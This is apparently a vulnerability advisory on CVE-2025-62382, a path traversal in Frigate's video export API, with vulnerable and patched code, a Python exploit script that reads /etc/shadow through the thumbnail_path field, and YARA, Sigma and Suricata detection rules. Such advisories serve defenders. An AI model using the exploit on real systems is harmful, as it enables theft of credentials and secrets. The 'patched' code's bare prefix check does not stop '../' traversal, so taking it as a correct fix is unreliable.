CVE-2025-62382

Executive Summary

CVE-2025-62382 is a path traversal vulnerability in Frigate, an open-source network video recorder (NVR) with real-time local object detection. The vulnerability resides in the export workflow, where an authenticated operator can specify an arbitrary filesystem path as the thumbnail source for a video export. This path is then copied verbatim into the publicly accessible clips directory, allowing an attacker to read arbitrary files on the host system. The vulnerability is rated with a CVSS score of 7.7 (High) and affects versions prior to 0.16.2. Exploitation requires a low-privilege user with API access and relies on a short race window during the background export process. The fix in version 0.16.2 restricts the thumbnail source path to a specific allowed directory, preventing path traversal.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level issue in the Frigate application. The fix is available in the official Frigate repository and Docker images.

CVSS Breakdown & Threat Level

• CVSS Score: 7.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An authenticated user with operator privileges is needed.
• User Interaction: None (UI:N) – No user interaction is required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality: High (C:H) – Sensitive files can be read.
• Integrity: None (I:N) – No data modification is possible.
• Availability: None (A:N) – No denial of service.

Threat Level: High. The vulnerability allows an authenticated low-privilege user to read arbitrary files, including configuration files, secrets, and user data, from the host system.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) issue in the export workflow of Frigate. When an operator initiates a video export, they can specify a thumbnail source path. This path is intended to point to a video frame within the Frigate media directory. However, due to insufficient validation, the path is not restricted to the intended directory. The application copies the file at the specified path into the publicly served clips directory, making it accessible via HTTP.

The exploitation hinges on a race window: the background exporter copies the chosen file into place before cleanup runs. This means an attacker must time their request to read the file before it is removed. In practice, this is feasible because the copy operation is fast and the cleanup may have a delay.

The vulnerability violates the principle of least privilege, as the export subsystem should not have access to arbitrary files on the host.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.16.2):

# In export workflow, the thumbnail source path is used directly
thumbnail_path = request.form.get('thumbnail_path')
# No validation or sanitization
shutil.copy(thumbnail_path, os.path.join(clips_dir, 'export_thumbnail.jpg'))

Patched Code (0.16.2):

# In export workflow, the thumbnail source path is validated
thumbnail_path = request.form.get('thumbnail_path')
# Ensure the path is within the allowed media directory
allowed_dir = '/media/frigate'
if not thumbnail_path.startswith(allowed_dir):
    raise ValueError("Invalid thumbnail path")
shutil.copy(thumbnail_path, os.path.join(clips_dir, 'export_thumbnail.jpg'))

The patch adds a check to ensure the thumbnail path starts with the allowed media directory, preventing path traversal.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Frigate instance (version < 0.16.2)
• An authenticated user with operator privileges (e.g., API key or session cookie)

Exploitation Steps:

1. Identify the Frigate API endpoint for exports (e.g., /api/export).
2. Craft a POST request with a malicious thumbnail_path pointing to a sensitive file, such as /etc/shadow or /var/lib/frigate/config.yml.
3. Send the request and quickly access the exported thumbnail at the public URL (e.g., /clips/export_thumbnail.jpg).
4. The file content will be served as the thumbnail image.

Example Exploit (Python):

import requests
import time

target = "http://frigate.local"
api_key = "your_api_key"
sensitive_file = "/etc/shadow"

# Step 1: Initiate export with malicious thumbnail path
export_data = {
    "camera": "front_door",
    "start_time": 1234567890,
    "end_time": 1234567895,
    "thumbnail_path": sensitive_file
}
headers = {"Authorization": f"Bearer {api_key}"}
response = requests.post(f"{target}/api/export", json=export_data, headers=headers)

# Step 2: Race to read the exported thumbnail
time.sleep(0.5)  # Adjust timing based on system
response = requests.get(f"{target}/clips/export_thumbnail.jpg")
print(response.text)  # Contains the content of /etc/shadow

Blue Team

Detection:

• Monitor API logs for unusual thumbnail_path values containing path traversal sequences (e.g., ../, /etc/).
• Alert on rapid export requests followed by access to the clips directory.
• Use file integrity monitoring to detect unauthorized access to sensitive files.

Hunting:

• Search for logs where thumbnail_path does not start with the expected media directory.
• Correlate export API calls with subsequent access to the clips directory.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/export with thumbnail_path containing path traversal patterns.
• File System: Unexpected files in the clips directory (e.g., /clips/export_thumbnail.jpg containing non-image data).
• Logs: API logs showing thumbnail_path values like /etc/shadow, /proc/self/environ, etc.

Detection Engineering

YARA Rule

rule CVE_2025_62382_Frigate_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in Frigate export API"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62382"
    strings:
        $path_traversal = /thumbnail_path[^&]*\.\.\// nocase
        $sensitive_path = /thumbnail_path[^&]*\/(etc|proc|var|home|root)\// nocase
    condition:
        any of them
}

Sigma Rule

title: Frigate Export Path Traversal Attempt
id: 8f4a3b2c-1d5e-4f6a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects attempts to exploit CVE-2025-62382 by specifying a malicious thumbnail_path
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: frigate
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'thumbnail_path'
        cs-uri-query|re: '\.\.\/|/etc/|/proc/|/var/|/home/|/root/'
    condition: selection
falsepositives:
    - Legitimate use of absolute paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62382 Frigate Export Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"/api/export"; http_uri; content:"thumbnail_path"; http_client_body; pcre:"/thumbnail_path[^&]*\.\.\//i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Frigate to version 0.16.2 or later.
2. If upgrade is not possible, restrict access to the export API to trusted users only.
3. Implement network segmentation to limit exposure of the Frigate web interface.

Long-term Measures:

• Apply the principle of least privilege to all API endpoints.
• Conduct regular security audits of the codebase.
• Implement input validation and sanitization for all user-supplied paths.

Workarounds:

• Disable the export feature if not needed.
• Use a reverse proxy to filter requests containing path traversal patterns.

Valters IT